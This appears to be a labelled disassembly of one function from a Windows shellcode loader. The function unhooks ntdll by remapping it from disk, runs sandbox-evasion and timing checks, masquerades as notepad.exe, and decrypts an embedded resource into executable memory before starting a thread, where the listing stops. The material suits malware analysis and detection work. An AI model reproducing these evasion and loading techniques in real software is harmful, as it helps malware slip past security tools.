Function at 0x4015d0
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Link many functions at runtime
Overwrite dll .text section to remove hooks
Read file via mapping

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x348
call fcn.00402a20
mov dword [esp], str.ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x7c], eax
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x80], eax
mov dword [esp], 0x5c0
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x84], eax
mov dword [esp], 0x5c0
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x1c], 0
jmp 0x4016ca
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
mov eax, edx
sar eax, 6
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x3e8
mov eax, ecx
sub eax, edx
mov dword [ebp - 0x338], eax
fild dword [ebp - 0x338]
fstp qword [ebp - 0x338]
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0xea0ea0eb
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 6
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x46
mov eax, ecx
sub eax, edx
mov dword [ebp - 0x330], eax
fild dword [ebp - 0x330]
mov eax, dword [ebp - 0x1c]
lea edx, [eax*8]
mov eax, dword [ebp - 0x84]
add eax, edx
fdivr qword [ebp - 0x338]
fstp qword [eax]
add dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0xb7
jle 0x401644
mov dword [ebp - 0x1c], 0
jmp 0x401715
mov eax, dword [ebp - 0x1c]
lea edx, [eax*8]
mov eax, dword [ebp - 0x84]
add eax, edx
fld qword [eax]
mov eax, dword [ebp - 0x1c]
lea edx, [eax*8]
mov eax, dword [ebp - 0x88]
lea ebx, [edx + eax]
fstp qword [esp]
call fcn.00403bc0
fstp qword [ebx]
add dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0xb7
jle 0x4016e0
mov dword [esp], str.ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x90], 0
mov dword [esp], 0x1ae8
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x94], eax
mov dword [esp], 0x1ae8
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x98], eax
mov dword [esp], 0x1ae8
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x20], 0
jmp 0x401831
mov dword [ebp - 0x24], 0
jmp 0x401823
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x1f4
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x20]
imul ecx, edx, 0xa4
mov edx, dword [ebp - 0x94]
add edx, ecx
mov dword [ebp - 0x338], eax
fild dword [ebp - 0x338]
mov eax, dword [ebp - 0x24]
fstp dword [edx + eax*4]
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x1f4
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x20]
imul ecx, edx, 0xa4
mov edx, dword [ebp - 0x98]
add edx, ecx
mov dword [ebp - 0x338], eax
fild dword [ebp - 0x338]
mov eax, dword [ebp - 0x24]
fstp dword [edx + eax*4]
add dword [ebp - 0x24], 1
cmp dword [ebp - 0x24], 0x28
jle 0x40178d
add dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], 0x29
jle 0x401781
mov dword [ebp - 0x20], 0
jmp 0x4018b6
mov dword [ebp - 0x24], 0
jmp 0x4018ac
mov eax, dword [ebp - 0x20]
imul edx, eax, 0xa4
mov eax, dword [ebp - 0x94]
add edx, eax
mov eax, dword [ebp - 0x24]
fld dword [edx + eax*4]
mov eax, dword [ebp - 0x20]
imul edx, eax, 0xa4
mov eax, dword [ebp - 0x98]
add edx, eax
mov eax, dword [ebp - 0x24]
fld dword [edx + eax*4]
fdivp st(1)
fstp qword [esp]
call fcn.004038d0
mov eax, dword [ebp - 0x20]
imul edx, eax, 0xa4
mov eax, dword [ebp - 0x9c]
add edx, eax
fstp dword [ebp - 0x338]
fld dword [ebp - 0x338]
mov eax, dword [ebp - 0x24]
fstp dword [edx + eax*4]
add dword [ebp - 0x24], 1
cmp dword [ebp - 0x24], 0x28
jle 0x40184d
add dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], 0x29
jle 0x401844
mov eax, dword [ebp - 0x94]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0x98]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0x9c]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [esp], str.psapi.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetModuleInformation
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x40193e
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetModuleInformation
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x401e0a
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0xc], 0xc
lea edx, [ebp - 0x18c]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x8c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [ebp - 0x28]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0xa0], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov dword [esp], str.c:windows_system32_ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x2c], 0xffffffff
mov dword [esp], 0x1b60
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xa8], eax
add dword [ebp - 0x2c], 1
call sub.msvcrt.dll_rand
mov dword [ebp - 0x338], eax
fild dword [ebp - 0x338]
mov eax, dword [ebp - 0x2c]
lea edx, [eax*8]
mov eax, dword [ebp - 0xa8]
add eax, edx
fld qword [0x406298]
fdivp st(1)
fstp qword [eax]
mov eax, dword [ebp - 0x2c]
lea edx, [eax*8]
mov eax, dword [ebp - 0xa8]
add eax, edx
fld qword [eax]
mov eax, dword [ebp - 0x2c]
lea edx, [eax*8]
mov eax, dword [ebp - 0xa8]
lea ebx, [edx + eax]
fstp qword [esp]
call sub.msvcrt.dll_atan
fstp qword [ebx]
cmp dword [ebp - 0x2c], 0x36a
jle 0x4019e2
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xa4]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call eax
sub esp, 0x18
mov dword [ebp - 0xac], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 4
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_MapViewOfFile]
call eax
sub esp, 0x14
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 0xa0]
add eax, edx
mov dword [ebp - 0xb8], eax
mov word [ebp - 0x2e], 0
jmp 0x401df6
mov dword [ebp - 0x34], 0xffffffff
mov dword [esp], 0x1088
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbc], eax
add dword [ebp - 0x34], 1
call sub.msvcrt.dll_rand
mov dword [ebp - 0x338], eax
fild dword [ebp - 0x338]
fld qword [0x406298]
fdivp st(1)
fld st(0)
faddp st(1)
mov eax, dword [ebp - 0x34]
lea edx, [eax*8]
mov eax, dword [ebp - 0xbc]
add eax, edx
fld1
fsubp st(1)
fstp qword [eax]
mov eax, dword [ebp - 0x34]
lea edx, [eax*8]
mov eax, dword [ebp - 0xbc]
add eax, edx
fld qword [eax]
mov eax, dword [ebp - 0x34]
lea edx, [eax*8]
mov eax, dword [ebp - 0xbc]
lea ebx, [edx + eax]
fstp qword [esp]
call sub.msvcrt.dll_asin
fstp qword [ebx]
cmp dword [ebp - 0x34], 0x20f
jle 0x401b10
mov eax, dword [ebp - 0xb8]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xb8]
lea ecx, [edx + eax]
movzx edx, word [ebp - 0x2e]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
add eax, ecx
add eax, 0x18
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0xc0]
mov dword [esp + 4], str..text
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x401deb
mov dword [esp], 0x1fc
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0x38], 0
jmp 0x401c2a
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0x38]
lea edx, [eax*4]
mov eax, dword [ebp - 0xc4]
lea ebx, [edx + eax]
mov edx, 0x68db8bad
mov eax, ecx
imul edx
mov eax, edx
sar eax, 0xc
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x2710
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
add dword [ebp - 0x38], 1
cmp dword [ebp - 0x38], 0x7e
jle 0x401beb
mov dword [ebp - 0x38], 0
jmp 0x401ce4
cmp dword [ebp - 0x38], 0
je 0x401c73
mov eax, dword [ebp - 0x38]
add eax, 0x3fffffff
lea edx, [eax*4]
mov eax, dword [ebp - 0xc4]
add eax, edx
mov edx, dword [eax]
mov eax, dword [ebp - 0x38]
lea ecx, [eax*4]
mov eax, dword [ebp - 0xc4]
add eax, ecx
mov eax, dword [eax]
cmp edx, eax
jg 0x401c79
add dword [ebp - 0x38], 1
jmp 0x401ce4
mov eax, dword [ebp - 0x38]
add eax, 0x3fffffff
lea edx, [eax*4]
mov eax, dword [ebp - 0xc4]
add eax, edx
mov eax, dword [eax]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x38]
lea edx, [eax*4]
mov eax, dword [ebp - 0xc4]
add eax, edx
mov edx, dword [ebp - 0x38]
add edx, 0x3fffffff
lea ecx, [edx*4]
mov edx, dword [ebp - 0xc4]
add edx, ecx
mov eax, dword [eax]
mov dword [edx], eax
mov eax, dword [ebp - 0x38]
lea edx, [eax*4]
mov eax, dword [ebp - 0xc4]
add edx, eax
mov eax, dword [ebp - 0xc8]
mov dword [edx], eax
sub dword [ebp - 0x38], 1
cmp dword [ebp - 0x38], 0x7e
jle 0x401c3c
mov eax, dword [ebp - 0xc4]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [ebp - 0x1ac], 0
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0xc0]
mov ecx, dword [edx + 0xc]
mov edx, dword [ebp - 0xa0]
add edx, ecx
mov ecx, edx
lea edx, [ebp - 0x1ac]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov dword [esp], ecx
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0xc0]
mov ecx, dword [edx + 0xc]
mov edx, dword [ebp - 0xb0]
add edx, ecx
mov ecx, edx
mov edx, dword [ebp - 0xc0]
mov ebx, dword [edx + 0xc]
mov edx, dword [ebp - 0xa0]
add edx, ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call sub.msvcrt.dll_memcpy
mov dword [ebp - 0x3c], 0x302
mov dword [ebp - 0x40], 0xdc
jmp 0x401da4
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x40]
jle 0x401da0
sub dword [ebp - 0x3c], 1
jmp 0x401da4
sub dword [ebp - 0x40], 1
cmp dword [ebp - 0x3c], 0
jg 0x401d92
mov edx, dword [ebp - 0x1ac]
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax + 8]
mov ecx, dword [ebp - 0xc0]
mov ebx, dword [ecx + 0xc]
mov ecx, dword [ebp - 0xa0]
add ecx, ebx
mov ebx, ecx
lea ecx, [ebp - 0x1ac]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], ebx
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
movzx eax, word [ebp - 0x2e]
add eax, 1
mov word [ebp - 0x2e], ax
mov eax, dword [ebp - 0xb8]
movzx eax, word [eax + 6]
cmp word [ebp - 0x2e], ax
jb 0x401af7
mov dword [ebp - 0x1a8], 0
mov dword [esp + 4], str.NtQueryInformationProcess
mov eax, dword [ebp - 0x7c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xcc], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
lea edx, [ebp - 0x1a8]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x18
lea edx, [ebp - 0x1a4]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [ebp - 0xcc]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x1a0]
add eax, 0x28
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0xd0]
mov dword [eax + 0x44], str.C:windows_system32_notepad.exe
mov eax, dword [ebp - 0xd0]
mov dword [eax + 0x3c], str.C:windows_system32_notepad.exe
mov dword [ebp - 0x44], 0
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0
je 0x401f1c
mov dword [esp + 4], str.VirtualAllocExNuma
mov eax, dword [ebp - 0xd4]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xd8], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], 0x29e
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [ebp - 0xd8]
call eax
sub esp, 0x18
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
je 0x40296d
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.OpenProcess
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xdc], eax
mov dword [esp + 8], 4
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
mov eax, dword [ebp - 0xdc]
call eax
sub esp, 0xc
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0
jne 0x40296d
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0
je 0x401fdd
mov dword [esp + 4], str.FlsAlloc
mov eax, dword [ebp - 0xe4]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xe8], eax
mov dword [esp], 0
mov eax, dword [ebp - 0xe8]
call eax
sub esp, 4
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xffffffff
je 0x40296d
mov dword [ebp - 0xec], 0
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.VirtualAllocExNuma
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xf0], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], 0x293
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [ebp - 0xf0]
call eax
sub esp, 0x18
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
je 0x40296d
mov dword [ebp - 0xf4], 0
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.VirtualAlloc
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xf8], eax
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0xf4fe80
mov dword [esp], 0
mov eax, dword [ebp - 0xf8]
call eax
sub esp, 0x10
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0
je 0x40296d
mov dword [esp + 4], 0xf4fe80
mov eax, dword [ebp - 0xf4]
mov dword [esp], eax
call fcn.00404810
sub esp, 8
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xf4]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov dword [esp], 0x6bd
mov eax, dword [sym.imp.KERNEL32.dll_SetErrorMode]
call eax
sub esp, 4
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_SetErrorMode]
call eax
sub esp, 4
cmp eax, 0x6bd
jne 0x40296d
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_SetErrorMode]
call eax
sub esp, 4
mov dword [ebp - 0xfc], 0x359
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.SleepEx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x100], eax
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetTickCount
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0x104]
call eax
mov dword [ebp - 0x108], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xfc]
mov dword [esp], eax
mov eax, dword [ebp - 0x100]
call eax
sub esp, 8
mov eax, dword [ebp - 0x104]
call eax
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x10c]
sub eax, dword [ebp - 0x108]
cmp eax, 0x327
jbe 0x40296d
mov dword [esp + 8], 4
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
mov eax, dword [sym.imp.KERNEL32.dll_OpenProcess]
call eax
sub esp, 0xc
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
jne 0x40296d
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
je 0x402295
mov dword [esp + 4], str.FlsAlloc
mov eax, dword [ebp - 0x114]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x118], eax
mov dword [esp], 0
mov eax, dword [ebp - 0x118]
call eax
sub esp, 4
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0xffffffff
je 0x40296d
mov dword [ebp - 0x11c], 0
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.VirtualAlloc
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x120], eax
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x2247280
mov dword [esp], 0
mov eax, dword [ebp - 0x120]
call eax
sub esp, 0x10
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0
je 0x40296d
mov dword [esp + 4], 0x2247280
mov eax, dword [ebp - 0x11c]
mov dword [esp], eax
call fcn.00404810
sub esp, 8
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x11c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov dword [esp + 4], str.FindResource
mov eax, dword [ebp - 0x80]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x124], eax
mov dword [esp], 0x1fc
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x50], 0
jmp 0x4023d4
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0x50]
lea edx, [eax*4]
mov eax, dword [ebp - 0x128]
lea ebx, [edx + eax]
mov edx, 0x14f8b589
mov eax, ecx
imul edx
mov eax, edx
sar eax, 0xd
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x186a0
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
add dword [ebp - 0x50], 1
cmp dword [ebp - 0x50], 0x7e
jle 0x402395
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x50], 0
jmp 0x40242e
mov eax, dword [ebp - 0x50]
lea edx, [eax*4]
mov eax, dword [ebp - 0x128]
add eax, edx
mov eax, dword [eax]
and eax, 1
test eax, eax
je 0x40240b
add dword [ebp - 0x54], 1
jmp 0x40242a
mov eax, dword [ebp - 0x50]
lea edx, [eax*4]
mov eax, dword [ebp - 0x128]
add eax, edx
mov eax, dword [eax]
and eax, 1
test eax, eax
jne 0x40242a
add dword [ebp - 0x58], 1
add dword [ebp - 0x50], 1
cmp dword [ebp - 0x50], 0x7e
jle 0x4023ea
mov eax, dword [ebp - 0x128]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, str.VQFUTURNX
movzx eax, ax
mov dword [esp + 8], str.VQFUTURNX
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [ebp - 0x124]
call eax
sub esp, 0xc
mov dword [ebp - 0x12c], eax
mov dword [esp + 4], str.LoadResource
mov eax, dword [ebp - 0x80]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x12c]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [ebp - 0x130]
call eax
sub esp, 8
mov dword [ebp - 0x134], eax
mov dword [esp + 4], str.SizeofResource
mov eax, dword [ebp - 0x80]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x5c], 0xffffffff
add dword [ebp - 0x5c], 1
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x2aaaaaab
mov eax, ecx
imul edx
mov eax, edx
sar eax, 2
mov edx, ecx
sar edx, 0x1f
sub eax, edx
mov dword [ebp - 0x13c], eax
mov edx, dword [ebp - 0x13c]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 3
sub ecx, eax
mov edx, ecx
mov dword [ebp - 0x13c], edx
call sub.msvcrt.dll_rand
mov dword [ebp - 0x338], eax
fild dword [ebp - 0x338]
fld qword [0x406298]
fdivp st(1)
mov eax, dword [ebp - 0x13c]
mov dword [esp + 8], eax
fstp qword [esp]
call fcn.00403bf0
fstp qword [ebp - 0x148]
cmp dword [ebp - 0x5c], 0xdd
jle 0x4024d3
mov dword [esp + 4], str.VirtualAlloc
mov eax, dword [ebp - 0x80]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x12c]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [ebp - 0x138]
call eax
sub esp, 8
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [ebp - 0x14c]
call eax
sub esp, 0x10
mov dword [ebp - 0x150], eax
mov dword [esp + 4], str.RtlMoveMemory
mov eax, dword [ebp - 0x7c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x12c]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [ebp - 0x138]
call eax
sub esp, 8
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x134]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x150]
mov dword [esp], eax
mov eax, dword [ebp - 0x154]
call eax
sub esp, 0xc
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x68], 0
lea edx, [ebp - 0x31a]
mov eax, 0x4061a8
mov ecx, 0x6f
mov ebx, dword [eax]
mov dword [edx], ebx
mov ebx, dword [eax + ecx - 4]
mov dword [edx + ecx - 4], ebx
lea ebx, [edx + 4]
and ebx, 0xfffffffc
sub edx, ebx
sub eax, edx
add ecx, edx
and ecx, 0xfffffffc
shr ecx, 2
mov edx, ecx
mov edi, ebx
mov esi, eax
mov ecx, edx
rep movsd dword es:[edi], dword [esi]
lea edx, [ebp - 0x22e]
mov eax, 0x406218
mov ecx, 0x7e
mov ebx, dword [eax]
mov dword [edx], ebx
mov ebx, dword [eax + ecx - 4]
mov dword [edx + ecx - 4], ebx
lea ebx, [edx + 4]
and ebx, 0xfffffffc
sub edx, ebx
sub eax, edx
add ecx, edx
and ecx, 0xfffffffc
shr ecx, 2
mov edx, ecx
mov edi, ebx
mov esi, eax
mov ecx, edx
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x60], 0
jmp 0x4026d7
lea edx, [ebp - 0x22e]
mov eax, dword [ebp - 0x60]
add eax, edx
movzx edx, byte [eax]
lea ecx, [ebp - 0x31a]
mov eax, dword [ebp - 0x64]
add eax, ecx
movzx eax, byte [eax]
add edx, eax
lea ecx, [ebp - 0x2ab]
mov eax, dword [ebp - 0x60]
add eax, ecx
mov byte [eax], dl
cmp dword [ebp - 0x64], 0x6d
jne 0x4026cf
mov dword [ebp - 0x64], 0
jmp 0x4026d3
add dword [ebp - 0x64], 1
add dword [ebp - 0x60], 1
mov eax, dword [ebp - 0x60]
cmp eax, 0x7c
jbe 0x402695
mov dword [ebp - 0x60], 0
jmp 0x40278b
mov edx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x150]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
lea ecx, [ebp - 0x2ab]
mov edx, dword [ebp - 0x68]
add edx, ecx
movzx edx, byte [edx]
movzx edx, dl
sub eax, edx
add eax, 0x100
cdq
shr edx, 0x18
add eax, edx
movzx eax, al
sub eax, edx
mov ecx, eax
mov edx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x150]
add eax, edx
mov edx, ecx
mov byte [eax], dl
cmp dword [ebp - 0x68], 0x7c
jne 0x40273f
mov dword [ebp - 0x68], 0
jmp 0x402787
add dword [ebp - 0x68], 1
mov dword [ebp - 0x6c], 0xffffffff
add dword [ebp - 0x6c], 1
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
shl eax, 2
add eax, edx
mov dword [ebp - 0x338], eax
fild dword [ebp - 0x338]
fld qword [0x406298]
fdivp st(1)
fstp qword [esp]
call fcn.004039e0
fstp qword [ebp - 0x180]
cmp dword [ebp - 0x6c], 0x232
jle 0x40274a
add dword [ebp - 0x60], 1
cmp dword [ebp - 0x60], 0
js 0x4026eb
mov dword [esp + 4], str.CreateThread
mov eax, dword [ebp - 0x80]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x158], eax
lea eax, [ebp - 0x1b0]
mov dword [esp + 0x14], eax
